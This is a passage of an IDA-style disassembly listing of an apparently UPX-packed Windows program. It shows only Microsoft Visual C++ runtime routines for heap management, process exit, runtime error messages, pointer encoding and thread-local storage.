; ---------------------------------------------------------------------------
loc_40D892: ; CODE XREF: sub_40D7BB+A4j
; sub_40D7BB+C0j ...
push ebx
call sub_40D3D2
pop ecx
mov ecx, [ebx+10h]
mov [ecx], eax
mov eax, [ebx+10h]
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_40D88B
loc_40D8A6: ; CODE XREF: sub_40D7BB+6Aj
; sub_40D7BB+8Ej
mov dword_430284, ebx
mov eax, [ebx+10h]
mov edx, [eax]
mov [ebp+var_4], edx
cmp edx, 0FFFFFFFFh
jz short loc_40D8CD
mov ecx, [eax+edx*4+0C4h]
mov edi, [eax+edx*4+44h]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_40D8F6
loc_40D8CD: ; CODE XREF: sub_40D7BB+FCj
and [ebp+var_4], 0
mov edx, [eax+0C4h]
lea ecx, [eax+44h]
loc_40D8DA: ; CODE XREF: sub_40D7BB+136j
mov edi, [ecx]
and edx, [ebp+var_8]
and edi, esi
or edx, edi
jnz short loc_40D8F3
inc [ebp+var_4]
mov edx, [ecx+84h]
add ecx, 4
jmp short loc_40D8DA
; ---------------------------------------------------------------------------
loc_40D8F3: ; CODE XREF: sub_40D7BB+128j
mov edx, [ebp+var_4]
loc_40D8F6: ; CODE XREF: sub_40D7BB+110j
mov ecx, edx
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [eax+edx*4+44h]
xor edi, edi
and ecx, esi
jnz short loc_40D924
mov ecx, [eax+edx*4+0C4h]
and ecx, [ebp+var_8]
push 20h
pop edi
jmp short loc_40D924
; ---------------------------------------------------------------------------
loc_40D921: ; CODE XREF: sub_40D7BB+16Bj
add ecx, ecx
inc edi
loc_40D924: ; CODE XREF: sub_40D7BB+155j
; sub_40D7BB+164j
test ecx, ecx
jge short loc_40D921
mov ecx, [ebp+var_C]
mov edx, [ecx+edi*8+4]
mov ecx, [edx]
sub ecx, [ebp+var_10]
mov esi, ecx
sar esi, 4
dec esi
cmp esi, 3Fh
mov [ebp+var_8], ecx
jle short loc_40D945
push 3Fh
pop esi
loc_40D945: ; CODE XREF: sub_40D7BB+185j
cmp esi, edi
jz loc_40DA4E
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_40D9B1
cmp edi, 20h
mov ebx, 80000000h
jge short loc_40D985
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
not ebx
mov [ebp+var_14], ebx
and ebx, [eax+ecx*4+44h]
mov [eax+ecx*4+44h], ebx
dec byte ptr [edi]
jnz short loc_40D9AE
mov ecx, [ebp+var_14]
mov ebx, [ebp+arg_0]
and [ebx], ecx
jmp short loc_40D9B1
; ---------------------------------------------------------------------------
loc_40D985: ; CODE XREF: sub_40D7BB+1A2j
lea ecx, [edi-20h]
shr ebx, cl
mov ecx, [ebp+var_4]
lea ecx, [eax+ecx*4+0C4h]
lea edi, [eax+edi+4]
not ebx
and [ecx], ebx
dec byte ptr [edi]
mov [ebp+var_14], ebx
jnz short loc_40D9AE
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx+4], ecx
jmp short loc_40D9B1
; ---------------------------------------------------------------------------
loc_40D9AE: ; CODE XREF: sub_40D7BB+1BEj
; sub_40D7BB+1E6j
mov ebx, [ebp+arg_0]
loc_40D9B1: ; CODE XREF: sub_40D7BB+198j
; sub_40D7BB+1C8j ...
cmp [ebp+var_8], 0
mov ecx, [edx+8]
mov edi, [edx+4]
mov [ecx+4], edi
mov ecx, [edx+4]
mov edi, [edx+8]
mov [ecx+8], edi
jz loc_40DA5A
mov ecx, [ebp+var_C]
lea ecx, [ecx+esi*8]
mov edi, [ecx+4]
mov [edx+8], ecx
mov [edx+4], edi
mov [ecx+4], edx
mov ecx, [edx+4]
mov [ecx+8], edx
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_40DA4B
mov cl, [esi+eax+4]
mov byte ptr [ebp+arg_0+3], cl
inc cl
cmp esi, 20h
mov [esi+eax+4], cl
jge short loc_40DA22
cmp byte ptr [ebp+arg_0+3], 0
jnz short loc_40DA10
mov edi, 80000000h
mov ecx, esi
shr edi, cl
or [ebx], edi
loc_40DA10: ; CODE XREF: sub_40D7BB+248j
mov ecx, esi
mov edi, 80000000h
shr edi, cl
mov ecx, [ebp+var_4]
or [eax+ecx*4+44h], edi
jmp short loc_40DA4B
; ---------------------------------------------------------------------------
loc_40DA22: ; CODE XREF: sub_40D7BB+242j
cmp byte ptr [ebp+arg_0+3], 0
jnz short loc_40DA35
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
or [ebx+4], edi
loc_40DA35: ; CODE XREF: sub_40D7BB+26Bj
mov ecx, [ebp+var_4]
lea edi, [eax+ecx*4+0C4h]
lea ecx, [esi-20h]
mov esi, 80000000h
shr esi, cl
or [edi], esi
loc_40DA4B: ; CODE XREF: sub_40D7BB+230j
; sub_40D7BB+265j
mov ecx, [ebp+var_8]
loc_40DA4E: ; CODE XREF: sub_40D7BB+18Cj
test ecx, ecx
jz short loc_40DA5D
mov [edx], ecx
mov [ecx+edx-4], ecx
jmp short loc_40DA5D
; ---------------------------------------------------------------------------
loc_40DA5A: ; CODE XREF: sub_40D7BB+20Cj
mov ecx, [ebp+var_8]
loc_40DA5D: ; CODE XREF: sub_40D7BB+295j
; sub_40D7BB+29Dj
mov esi, [ebp+var_10]
add edx, ecx
lea ecx, [esi+1]
mov [edx], ecx
mov [edx+esi-4], ecx
mov esi, [ebp+var_C]
mov ecx, [esi]
lea edi, [ecx+1]
mov [esi], edi
test ecx, ecx
jnz short loc_40DA93
cmp ebx, dword_42E878
jnz short loc_40DA93
mov ecx, [ebp+var_4]
cmp ecx, dword_43028C
jnz short loc_40DA93
and dword_42E878, 0
loc_40DA93: ; CODE XREF: sub_40D7BB+2BCj
; sub_40D7BB+2C4j ...
mov ecx, [ebp+var_4]
mov [eax], ecx
lea eax, [edx+4]
loc_40DA9B: ; CODE XREF: sub_40D7BB+D2j
pop edi
pop esi
pop ebx
leave
retn
sub_40D7BB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DAA0 proc near ; CODE XREF: sub_40E0C8+4Ap
; sub_40E143+4Ap ...
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
push edi
mov edi, 3E8h
loc_40DAAB: ; CODE XREF: sub_40DAA0+2Bj
push edi
call dword_41D080 ; Sleep
push [ebp+arg_0]
call dword_41D078 ; GetModuleHandleW
add edi, 3E8h
cmp edi, 0EA60h
ja short loc_40DACD
test eax, eax
jz short loc_40DAAB
loc_40DACD: ; CODE XREF: sub_40DAA0+27j
pop edi
pop ebp
retn
sub_40DAA0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DAD0 proc near ; CODE XREF: UPX0:0040BC5Bp
; UPX0:0040BC81p ...
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
call sub_40DF83
push [ebp+arg_0]
call sub_40DDD8
push dword_42A2D8
call sub_40E143
push 0FFh
call eax
add esp, 0Ch
pop ebp
retn
sub_40DAD0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DAF9 proc near ; CODE XREF: sub_40DB24+8p
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
push offset aMscoree_dll ; "mscoree.dll"
call dword_41D078 ; GetModuleHandleW
test eax, eax
jz short loc_40DB22
push offset aCorexitprocess ; "CorExitProcess"
push eax
call dword_41D0D8 ; GetProcAddress
test eax, eax
jz short loc_40DB22
push [ebp+arg_0]
call eax
loc_40DB22: ; CODE XREF: sub_40DAF9+12j
; sub_40DAF9+22j
pop ebp
retn
sub_40DAF9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DB24 proc near ; CODE XREF: sub_40AEA5+34p
; sub_40BB8E+20p ...
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
push [ebp+arg_0]
call sub_40DAF9
pop ecx
push [ebp+arg_0]
call dword_41D1C0 ; ExitProcess
int 3 ; Trap to Debugger
sub_40DB24 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40DB3C proc near ; CODE XREF: sub_40B734+Cp
push 8
call sub_40CFA9
pop ecx
retn
sub_40DB3C endp
; =============== S U B R O U T I N E =======================================
sub_40DB45 proc near ; CODE XREF: sub_40B76Ap
push 8
call sub_40CECF
pop ecx
retn
sub_40DB45 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DB4E proc near ; CODE XREF: sub_40DB8F+57p
; sub_40DC14+D6p ...
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, eax
jmp short loc_40DB63
; ---------------------------------------------------------------------------
loc_40DB58: ; CODE XREF: sub_40DB4E+18j
mov eax, [esi]
test eax, eax
jz short loc_40DB60
call eax
loc_40DB60: ; CODE XREF: sub_40DB4E+Ej
add esi, 4
loc_40DB63: ; CODE XREF: sub_40DB4E+8j
cmp esi, [ebp+arg_0]
jb short loc_40DB58
pop esi
pop ebp
retn
sub_40DB4E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DB6B proc near ; CODE XREF: sub_40DB8F+36p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
xor eax, eax
jmp short loc_40DB87
; ---------------------------------------------------------------------------
loc_40DB78: ; CODE XREF: sub_40DB6B+1Fj
test eax, eax
jnz short loc_40DB8C
mov ecx, [esi]
test ecx, ecx
jz short loc_40DB84
call ecx
loc_40DB84: ; CODE XREF: sub_40DB6B+15j
add esi, 4
loc_40DB87: ; CODE XREF: sub_40DB6B+Bj
cmp esi, [ebp+arg_4]
jb short loc_40DB78
loc_40DB8C: ; CODE XREF: sub_40DB6B+Fj
pop esi
pop ebp
retn
sub_40DB6B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DB8F proc near ; CODE XREF: UPX0:0040BC99p
var_4 = dword ptr -4
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
cmp off_424D00, 0
jz short loc_40DBB6
push offset off_424D00
call sub_4100F0
pop ecx
test eax, eax
jz short loc_40DBB6
push [ebp+arg_0]
call off_424D00
pop ecx
loc_40DBB6: ; CODE XREF: sub_40DB8F+Cj
; sub_40DB8F+1Bj
call sub_41268C
push offset dword_41D410
push offset dword_41D3F8
call sub_40DB6B
pop ecx
pop ecx
test eax, eax
jnz short loc_40DC12
push offset byte_40FCAB
call sub_40B770
mov eax, offset dword_41D3DC
mov [esp+4+var_4], offset dword_41D3F4
call sub_40DB4E
cmp dword_430274, 0
pop ecx
jz short loc_40DC10
push offset dword_430274
call sub_4100F0
pop ecx
test eax, eax
jz short loc_40DC10
push 0
push 2
push 0
call dword_430274
loc_40DC10: ; CODE XREF: sub_40DB8F+64j
; sub_40DB8F+73j
xor eax, eax
loc_40DC12: ; CODE XREF: sub_40DB8F+3Fj
pop ebp
retn
sub_40DB8F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DC14 proc near ; CODE XREF: sub_40DD40+Cp
; sub_40DD56+Cp ...
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
; FUNCTION CHUNK AT 0040DD3A SIZE 00000006 BYTES
push 18h
push offset dword_426900
call __SEH_prolog4
push 8
call sub_40CFA9
pop ecx
and [ebp+ms_exc.disabled], 0
xor ebx, ebx
inc ebx
cmp dword_42E8AC, ebx
jz loc_40DD00
mov dword_42E8A8, ebx
mov al, byte ptr [ebp+arg_8]
mov byte_42E8A4, al
cmp [ebp+arg_4], 0
jnz loc_40DCF0
push dword_43026C
call sub_40E143
pop ecx
mov edi, eax
mov [ebp+var_28], edi
test edi, edi
jz short loc_40DCE0
push dword_430268
call sub_40E143
pop ecx
mov esi, eax
mov [ebp+var_24], esi
mov [ebp+var_1C], edi
mov [ebp+var_20], esi
loc_40DC7F: ; CODE XREF: sub_40DC14+7Cj
; sub_40DC14+CAj
sub esi, 4
mov [ebp+var_24], esi
cmp esi, edi
jb short loc_40DCE0
call sub_40E13A
cmp [esi], eax
jz short loc_40DC7F
cmp esi, edi
jb short loc_40DCE0
push dword ptr [esi]
call sub_40E143
mov edi, eax
call sub_40E13A
mov [esi], eax
call edi ; RtlAllocateHeap
push dword_43026C
call sub_40E143
mov edi, eax
push dword_430268
call sub_40E143
add esp, 0Ch
cmp [ebp+var_1C], edi
jnz short loc_40DCCD
cmp [ebp+var_20], eax
jz short loc_40DCDB
loc_40DCCD: ; CODE XREF: sub_40DC14+B2j
mov [ebp+var_1C], edi
mov [ebp+var_28], edi
mov [ebp+var_20], eax
mov esi, eax
mov [ebp+var_24], esi
loc_40DCDB: ; CODE XREF: sub_40DC14+B7j
mov edi, [ebp+var_28]
jmp short loc_40DC7F
; ---------------------------------------------------------------------------
loc_40DCE0: ; CODE XREF: sub_40DC14+52j
; sub_40DC14+73j ...
push offset dword_41D420
mov eax, offset dword_41D414
call sub_40DB4E
pop ecx
loc_40DCF0: ; CODE XREF: sub_40DC14+39j
push offset dword_41D428
mov eax, offset dword_41D424
call sub_40DB4E
pop ecx
loc_40DD00: ; CODE XREF: sub_40DC14+21j
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_40DD2B
cmp [ebp+arg_8], 0
jnz short loc_40DD3A
mov dword_42E8AC, ebx
push 8
call sub_40CECF
pop ecx
push [ebp+arg_0]
call sub_40DB24
loc_40DD28: ; DATA XREF: UPX0:00426918o
xor ebx, ebx
inc ebx
sub_40DC14 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40DD2B proc near ; CODE XREF: sub_40DC14+F3p
cmp dword ptr [ebp+10h], 0
jz short locret_40DD39
push 8
call sub_40CECF
pop ecx
locret_40DD39: ; CODE XREF: sub_40DD2B+4j
retn
sub_40DD2B endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_40DC14
loc_40DD3A: ; CODE XREF: sub_40DC14+FCj
call __SEH_epilog4
retn
; END OF FUNCTION CHUNK FOR sub_40DC14
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DD40 proc near ; CODE XREF: UPX0:0040BCD3p
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
push 0
push 0
push [ebp+arg_0]
call sub_40DC14
add esp, 0Ch
pop ebp
retn
sub_40DD40 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DD56 proc near ; CODE XREF: UPX0:0040BD06p
; sub_4136C2+D9p ...
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
push 0
push 1
push [ebp+arg_0]
call sub_40DC14
add esp, 0Ch
pop ebp
retn
sub_40DD56 endp
; =============== S U B R O U T I N E =======================================
sub_40DD6C proc near ; CODE XREF: UPX0:loc_40BCD8p
push 1
push 0
push 0
call sub_40DC14
add esp, 0Ch
retn
sub_40DD6C endp
; =============== S U B R O U T I N E =======================================
sub_40DD7B proc near ; CODE XREF: UPX0:loc_40BD0Bp
push 1
push 1
push 0
call sub_40DC14
add esp, 0Ch
retn
sub_40DD7B endp
; =============== S U B R O U T I N E =======================================
sub_40DD8A proc near ; CODE XREF: sub_40E4D8+CDp
mov edi, edi
push esi
call sub_40E13A
mov esi, eax
push esi
call sub_40DFBC
push esi
call sub_4135F1
push esi
call sub_40B11E
push esi
call sub_413881
push esi
call sub_413872
push esi
call sub_413660
push esi
call nullsub_1
push esi
call sub_40E0AF
push offset sub_40DD56
call sub_40E0C8
add esp, 24h
mov dword_42A2D8, eax
pop esi
retn
sub_40DD8A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DDD8 proc near ; CODE XREF: sub_40AEA5+2Ap
; sub_40BB8E+16p ...
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
xor esi, esi
xor edi, edi
mov [ebp+var_4], edi
loc_40DDEC: ; CODE XREF: sub_40DDD8+24j
cmp ebx, dword_42A2E0[edi*8]
jz short loc_40DDFE
inc edi
mov [ebp+var_4], edi
cmp edi, 17h
jb short loc_40DDEC
loc_40DDFE: ; CODE XREF: sub_40DDD8+1Bj
cmp edi, 17h
jnb loc_40DF7E
push 3
call sub_413B22
pop ecx
cmp eax, 1
jz loc_40DF4C
push 3
call sub_413B22
pop ecx
test eax, eax
jnz short loc_40DE31
cmp dword_42A030, 1
jz loc_40DF4C
loc_40DE31: ; CODE XREF: sub_40DDD8+4Aj
cmp ebx, 0FCh
jz loc_40DF7E
push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
mov ebx, 314h
push ebx
mov edi, offset dword_42E8B0
push edi
call sub_40CD95
add esp, 0Ch
test eax, eax
jz short loc_40DE67
push esi
push esi
push esi
push esi
push esi
call sub_40B12D
add esp, 14h
loc_40DE67: ; CODE XREF: sub_40DDD8+80j
push 104h
mov esi, offset byte_42E8C9
push esi
push 0
mov byte_42E9CD, 0
call dword_41D180 ; GetModuleFileNameA
test eax, eax
jnz short loc_40DEAB
push offset aProgramNameUnk ; "<program name unknown>"
push 2FBh
push esi
call sub_40CD95
add esp, 0Ch
test eax, eax
jz short loc_40DEAB
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call sub_40B12D
add esp, 14h
loc_40DEAB: ; CODE XREF: sub_40DDD8+ABj
; sub_40DDD8+C2j
push esi
call sub_40BFB0
inc eax
pop ecx
cmp eax, 3Ch
jbe short loc_40DEF0
push esi
call sub_40BFB0
sub esi, 3Bh
add eax, esi
push 3
mov ecx, offset dword_42EBC4
push offset a___ ; "..."
sub ecx, eax
push ecx
push eax
call sub_413A6D
add esp, 14h
test eax, eax
jz short loc_40DEF0
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call sub_40B12D
add esp, 14h
jmp short loc_40DEF2
; ---------------------------------------------------------------------------
loc_40DEF0: ; CODE XREF: sub_40DDD8+DEj
; sub_40DDD8+105j
xor esi, esi
loc_40DEF2: ; CODE XREF: sub_40DDD8+116j
push offset asc_41DB60 ; "\n\n"
push ebx
push edi
call sub_4139F9
add esp, 0Ch
test eax, eax
jz short loc_40DF12
push esi
push esi
push esi
push esi
push esi
call sub_40B12D
add esp, 14h
loc_40DF12: ; CODE XREF: sub_40DDD8+12Bj
mov eax, [ebp+var_4]
push off_42A2E4[eax*8]
push ebx
push edi
call sub_4139F9
add esp, 0Ch
test eax, eax
jz short loc_40DF37
push esi
push esi
push esi
push esi
push esi
call sub_40B12D
add esp, 14h
loc_40DF37: ; CODE XREF: sub_40DDD8+150j
push 12010h
push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
push edi
call sub_413890
add esp, 0Ch
jmp short loc_40DF7E
; ---------------------------------------------------------------------------
loc_40DF4C: ; CODE XREF: sub_40DDD8+3Aj
; sub_40DDD8+53j
push 0FFFFFFF4h
call dword_41D184 ; GetStdHandle
mov ebx, eax
cmp ebx, esi
jz short loc_40DF7E
cmp ebx, 0FFFFFFFFh
jz short loc_40DF7E
push 0
lea eax, [ebp+var_8]
push eax
lea esi, ds:42A2E4h[edi*8]
push dword ptr [esi]
call sub_40BFB0
pop ecx
push eax
push dword ptr [esi]
push ebx
call dword_41D188 ; WriteFile
loc_40DF7E: ; CODE XREF: sub_40DDD8+29j
; sub_40DDD8+5Fj ...
pop edi
pop esi
pop ebx
leave
retn
sub_40DDD8 endp
; =============== S U B R O U T I N E =======================================
sub_40DF83 proc near ; CODE XREF: sub_40AEA5+23p
; sub_40BB8E+Ep ...
push 3
call sub_413B22
pop ecx
cmp eax, 1
jz short loc_40DFA5
push 3
call sub_413B22
pop ecx
test eax, eax
jnz short locret_40DFBB
cmp dword_42A030, 1
jnz short locret_40DFBB
loc_40DFA5: ; CODE XREF: sub_40DF83+Bj
push 0FCh
call sub_40DDD8
push 0FFh
call sub_40DDD8
pop ecx
pop ecx
locret_40DFBB: ; CODE XREF: sub_40DF83+17j
; sub_40DF83+20j
retn
sub_40DF83 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DFBC proc near ; CODE XREF: sub_40DD8A+Bp
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov dword_42EBC4, eax
pop ebp
retn
sub_40DFBC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DFCB proc near ; CODE XREF: sub_40AEA5+8Dp
; sub_40AEA5+B4p ...
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
push dword_42EBC4
call sub_40E143
pop ecx
test eax, eax
jz short loc_40DFEF
push [ebp+arg_0]
call eax ; dword_430290
pop ecx
test eax, eax
jz short loc_40DFEF
xor eax, eax
inc eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40DFEF: ; CODE XREF: sub_40DFCB+13j
; sub_40DFCB+1Dj
xor eax, eax
pop ebp
retn
sub_40DFCB endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40E000 proc near ; CODE XREF: sub_407CD3+Dp
; sub_40809A+5p ...
push ecx
lea ecx, [esp+4]
sub ecx, eax
sbb eax, eax
not eax
and ecx, eax
mov eax, esp
and eax, 0FFFFF000h
loc_40E014: ; CODE XREF: sub_40E000+29j
cmp ecx, eax
jb short loc_40E022
mov eax, ecx
pop ecx
xchg eax, esp
mov eax, [eax]
mov [esp+0], eax
retn
; ---------------------------------------------------------------------------
loc_40E022: ; CODE XREF: sub_40E000+16j
sub eax, 1000h
test [eax], eax
jmp short loc_40E014
sub_40E000 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E02B proc near ; CODE XREF: sub_40B05D:loc_40B0A4p
; sub_40E064:loc_40E072j ...
ms_exc = CPPEH_RECORD ptr -18h
push 8
push offset dword_426920
call __SEH_prolog4
call sub_40E38F
mov eax, [eax+78h]
test eax, eax
jz short loc_40E059
and [ebp+ms_exc.disabled], 0
call eax
jmp short loc_40E052
; ---------------------------------------------------------------------------
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+ms_exc.old_esp]
loc_40E052: ; CODE XREF: sub_40E02B+1Ej
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
loc_40E059: ; CODE XREF: sub_40E02B+16j
call sub_413B6D
call __SEH_epilog4
retn
sub_40E02B endp
; =============== S U B R O U T I N E =======================================
sub_40E064 proc near ; CODE XREF: sub_4104C4+23p
call sub_40E38F
mov eax, [eax+7Ch]
test eax, eax
jz short loc_40E072
call eax
loc_40E072: ; CODE XREF: sub_40E064+Aj
jmp sub_40E02B
sub_40E064 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E077 proc near ; CODE XREF: sub_40C2F3+1Ep
; sub_40C2F3:loc_40C356p ...
ms_exc = CPPEH_RECORD ptr -18h
push 8
push offset dword_426940
call __SEH_prolog4
push dword_42EBCC
call sub_40E143
pop ecx
test eax, eax
jz short loc_40E0A9
and [ebp+ms_exc.disabled], 0
call eax
jmp short loc_40E0A2
; ---------------------------------------------------------------------------
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+ms_exc.old_esp]
loc_40E0A2: ; CODE XREF: sub_40E077+22j
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
loc_40E0A9: ; CODE XREF: sub_40E077+1Aj
call sub_40E02B
int 3 ; Trap to Debugger
sub_40E077 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40E0AF proc near ; CODE XREF: sub_40DD8A+35p
push offset sub_40E02B
call sub_40E0C8
pop ecx
mov dword_42EBCC, eax
retn
sub_40E0AF endp
; =============== S U B R O U T I N E =======================================
sub_40E0C0 proc near ; CODE XREF: sub_40B12D+103p
; sub_40B255+1Ap ...
and dword_430260, 0
retn
sub_40E0C0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E0C8 proc near ; CODE XREF: sub_40B649+89p
; sub_40B649+97p ...
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
push esi
push dword_42A3A4
mov esi, dword_41D17C
call esi ; dword_41D17C
test eax, eax
jz short loc_40E101
mov eax, dword_42A3A0
cmp eax, 0FFFFFFFFh
jz short loc_40E101
push eax
push dword_42A3A4
call esi ; dword_41D17C
call eax ; dword_42A3A0
test eax, eax
jz short loc_40E101
mov eax, [eax+1F8h]
jmp short loc_40E128
; ---------------------------------------------------------------------------
loc_40E101: ; CODE XREF: sub_40E0C8+16j
; sub_40E0C8+20j ...
mov esi, offset off_41DBAC
push esi
call dword_41D078 ; GetModuleHandleW
test eax, eax
jnz short loc_40E11C
push esi
call sub_40DAA0
pop ecx
test eax, eax
jz short loc_40E134
loc_40E11C: ; CODE XREF: sub_40E0C8+47j
push offset aEncodepointer ; "EncodePointer"
push eax
call dword_41D0D8 ; GetProcAddress
loc_40E128: ; CODE XREF: sub_40E0C8+37j
test eax, eax
jz short loc_40E134
push [ebp+arg_0]
call eax
mov [ebp+arg_0], eax
loc_40E134: ; CODE XREF: sub_40E0C8+52j
; sub_40E0C8+62j
mov eax, [ebp+arg_0]
pop esi
pop ebp
retn
sub_40E0C8 endp
; =============== S U B R O U T I N E =======================================
sub_40E13A proc near ; CODE XREF: sub_40DC14+75p
; sub_40DC14+8Bp ...
push 0
call sub_40E0C8
pop ecx
retn
sub_40E13A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E143 proc near ; CODE XREF: sub_40B255+Bp
; sub_40B649+Fp ...
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
push esi
push dword_42A3A4
mov esi, dword_41D17C
call esi ; dword_41D17C
test eax, eax
jz short loc_40E17C
mov eax, dword_42A3A0
cmp eax, 0FFFFFFFFh
jz short loc_40E17C
push eax
push dword_42A3A4
call esi ; dword_41D17C
call eax ; dword_42A3A0
test eax, eax
jz short loc_40E17C
mov eax, [eax+1FCh]
jmp short loc_40E1A3
; ---------------------------------------------------------------------------
loc_40E17C: ; CODE XREF: sub_40E143+16j
; sub_40E143+20j ...
mov esi, offset off_41DBAC
push esi
call dword_41D078 ; GetModuleHandleW
test eax, eax
jnz short loc_40E197
push esi
call sub_40DAA0
pop ecx
test eax, eax
jz short loc_40E1AF
loc_40E197: ; CODE XREF: sub_40E143+47j
push offset aDecodepointer ; "DecodePointer"
push eax
call dword_41D0D8 ; GetProcAddress
loc_40E1A3: ; CODE XREF: sub_40E143+37j
test eax, eax
jz short loc_40E1AF
push [ebp+arg_0]
call eax
mov [ebp+arg_0], eax
loc_40E1AF: ; CODE XREF: sub_40E143+52j
; sub_40E143+62j
mov eax, [ebp+arg_0]
pop esi
pop ebp
retn
sub_40E143 endp
; =============== S U B R O U T I N E =======================================
sub_40E1B5 proc near ; DATA XREF: sub_40E4D8+93o
call dword_41D178 ; TlsAlloc
retn 4
sub_40E1B5 endp
; =============== S U B R O U T I N E =======================================
sub_40E1BE proc near ; CODE XREF: sub_40E316+12p
mov edi, edi
push esi
push dword_42A3A4
call dword_41D17C ; TlsGetValue
mov esi, eax
test esi, esi
jnz short loc_40E1EE
push dword_42EBD4
call sub_40E143
pop ecx
mov esi, eax
push esi
push dword_42A3A4
call dword_41D174 ; TlsSetValue
loc_40E1EE: ; CODE XREF: sub_40E1BE+13j
mov eax, esi
pop esi
retn
sub_40E1BE endp
; =============== S U B R O U T I N E =======================================
sub_40E1F2 proc near ; CODE XREF: sub_40E4D8:loc_40E65Bp
; FUNCTION CHUNK AT 0040CE78 SIZE 00000057 BYTES
mov eax, dword_42A3A0
cmp eax, 0FFFFFFFFh
jz short loc_40E212
push eax
push dword_42EBDC
call sub_40E143
pop ecx
call eax ; dword_42A3A0
or dword_42A3A0, 0FFFFFFFFh
loc_40E212: ; CODE XREF: sub_40E1F2+8j
mov eax, dword_42A3A4
cmp eax, 0FFFFFFFFh
jz short loc_40E22A
push eax
call dword_41D170 ; TlsFree
or dword_42A3A4, 0FFFFFFFFh
loc_40E22A: ; CODE XREF: sub_40E1F2+28j
jmp loc_40CE78
sub_40E1F2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E22F proc near ; CODE XREF: sub_40E316+4Fp
; sub_40E4D8+16Bp
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push 0Ch
push offset dword_426960
call __SEH_prolog4
mov esi, offset off_41DBAC
push esi
call dword_41D078 ; GetModuleHandleW
test eax, eax
jnz short loc_40E252
push esi
call sub_40DAA0
pop ecx
loc_40E252: ; CODE XREF: sub_40E22F+1Aj
mov [ebp+var_1C], eax
mov esi, [ebp+arg_0]
mov dword ptr [esi+5Ch], offset dword_41DC28
xor edi, edi
inc edi
mov [esi+14h], edi
test eax, eax
jz short loc_40E28D
push offset aEncodepointer ; "EncodePointer"
push eax
mov ebx, dword_41D0D8
call ebx ; dword_41D0D8
mov [esi+1F8h], eax
push offset aDecodepointer ; "DecodePointer"
push [ebp+var_1C]
call ebx ; dword_41D0D8
mov [esi+1FCh], eax
loc_40E28D: ; CODE XREF: sub_40E22F+38j
mov [esi+70h], edi
mov byte ptr [esi+0C8h], 43h
